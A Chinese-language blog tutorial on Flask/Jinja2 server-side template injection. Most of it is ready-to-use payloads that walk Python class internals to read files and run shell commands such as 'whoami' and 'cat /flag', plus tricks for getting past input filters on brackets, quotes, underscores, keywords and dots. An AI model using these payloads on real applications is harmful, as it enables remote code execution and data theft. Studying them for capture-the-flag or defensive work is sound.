Flask ssti模板注入一些总结
[TOC]
ssti思路
服务端模板注入和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
ssti模板注入的基本思路就是通过__class__
属性找到基类object,通过__subclasses__()
查看object中有哪些类可以使用,一般都是去寻找os类,然后通过blobals全局来查找所有的方法及变量及参数,通常用到<class 'os._wrap_close'>
类的popen
方法。
基本流程
首先获取基本类
首先通过str、dict、tuple或list等获取python的基本类
- dict:保存类实例或对象实例的属性变量键值对字典
- class:返回调用的参数类型
- mro:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
- bases:返回类型列表
- subclasses:返回object的子类
- init:类的初始化方法
- globals:函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
也可以用一些其他在jinja2中存在的对象,比如request
。在Python中,每个类都有一个bases属性,列出其基类,而mro返回的时解析方法调用的顺序,在其中选择object类就好了。
''.__class__.__base__
''.__class__.__mro__[1]
"".__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
{}.__class__.__mro__[1]
request.__class__.__mro__[1]
可以借助```getitem绕过中括号的限制:
''.__class__.__mro__.__getitem__(1)
{}.__class__.__bases__.__getitem__(0)
().__class__.__bases__.__getitem__(0)
request.__class__.__mro__.__getitem__(1)
寻找方法
获取基本类后,继续向下获取基本类object
的子类:
1 | "".__class__.__bases__[0].__subclasses__() |
找到重载过的init类(在获取初始化属性后,带 wrapper 的说明没有重载,寻找不带 warpper 的):
1 | print("".__class__.__bases__[0].__subclasses__()[-1].__init__) |
查看其引用builtins
Python 程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于 builtins 却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块。
1 | "".__class__.__bases__[0].__subclasses__()[-1].__init__.__globals__['__builtins__'] |
这里会返回 dict 类型,寻找 keys 中可用函数,直接调用即可,使用 keys 中的 open (python2中是file)以实现读取文件的功能:
1 | "".__class__.__bases__[0].__subclasses__()[-1].__init__.__globals__['__builtins__']['open']('D:\\test.txt').read() |
读写文件
在python2中使用file读写文件:
1 | #读文件: |
在python3中file没有了,使用open:
1 | #读文件: |
命令执行
1.popen
使用popen
进行命令执行。
首先要先找到os._wrap_close
类,
查看 os._wrap_close 方法的位置:
1 | >>> import os |
返回了下标索引,直接调用它
1 | "".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls').read() |
2.eval
使用eval
进行命令执行。
1 | "".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()') |
3.warnings.catch_warnings
利用warnings.catch_warnings 进行命令执行。
这个在python2和python3中有些不同,先说Python2的:
1 | [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami') |
然后是Python3的:
1 | ().__class__.__bases__[0].__subclasses__()[139].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") |
或者也可以这样多行执行:
1 | {% for c in [].__class__.__base__.__subclasses__() %} |
4.subprocess
这个模块原本在python2中是commands
,在python中被替换为subprocess
。
1 | {}.__class__.__bases__[0].__subclasses__()[139].__init__.__globals__['__builtins__']['__import__']('subprocess').getstatusoutput('ls') |
1 | {}.__class__.__bases__[0].__subclasses__()[139].__init__.__globals__['__builtins__']['__import__']('os').system('ls') |
1 | {}.__class__.__bases__[0].__subclasses__()[139].__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read() |
Bypass
现在很多模板注入都有限制,比如限制输入某些关键字,或者干脆直接限制输入某些字符。下面总结了一些绕过的方法。
过滤[]
使用getitem()或者pop()绕过,如:"".__class__.__bases__[0]
绕过后:"".__class__.__bases__.getitem(0)
读文件:
1 | "".__class__.__base__.__subclasses__().pop(-1).__init__.__globals__.pop('__builtins__').pop('open')('test.txt').read() |
执行命令:
1 | ''.__class__.__base__.__subclasses__().pop(132).__init__.__globals__.pop('popen')('ls').read() |
过滤引号
request.args 是 flask 中的一个属性,为返回请求的参数,这里把popen
和cmd
当作变量名,将值传进来,进而绕过了引号的过滤。
1 | {{().__class__.__base__.__subclasses__().pop(117).__init__.__globals__[request.args.popen](request.args.cmd).read()}}&popen=popen&cmd=whoami |
过滤下划线
也是动态传参绕过
1 | {{""[request.args.class][request.args.base][request.args.subclasses]()[117][request.args.init][request.args.globals][request.args.popen](request.args.cmd).read()}}&class=__class__&base=__base__&subclasses=__subclasses__&init=__init__&globals=__globals__&popen=popen&cmd=cat /flag |
过滤关键字
比如过滤掉subclasses
:
使用request.args
动态传参绕过
比如过滤掉subclasses
:
1 | "".__class__.__bases__[0][request.args.a]()[117].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}&a=__subclasses__ |
使用base64编码绕过
1 | # 编码前 |
使用字符串拼接绕过
使用加号来拼接字符串, =
。
1 | "".__class__.__base__['__subcl'+'asses__']()[117].__init__.__globals__['popen']('ls').read() |
使用join连接字符串,
1 | [].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[117].__init__.__globals__['popen']('ls').read() |
过滤点号
jinja2模板中有很多有用的内置过滤器,这里使用的是attr
和join
这两个过滤器。
1 | ```{{request|attr(["_"*2,"class","_"*2]|join)}}```就相当于```{{request.__class__}} |
还有关于过滤的方式:
使用工具
Tplmap
服务器端模板注入和代码注入检测与开发工具
一个 python 工具,可以通过使用沙箱转义技术找到代码注入和服务器端模板注入(SSTI)漏洞。该工具能够在许多模板引擎中利用 SSTI 来访问目标文件或操作系统。一些受支持的模板引擎包括 PHP、Ruby、JaveScript、Python、ERB、Jinja2 和 Tornado。该工具可以执行对这些模板引擎的盲注入,并具有执行远程命令的能力。
- Post Title: Flask ssti模板注入一些总结
- Post Author: Katharsis
- Post Link: http://yoursite.com/2020/07/25/ssti-1/
- Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.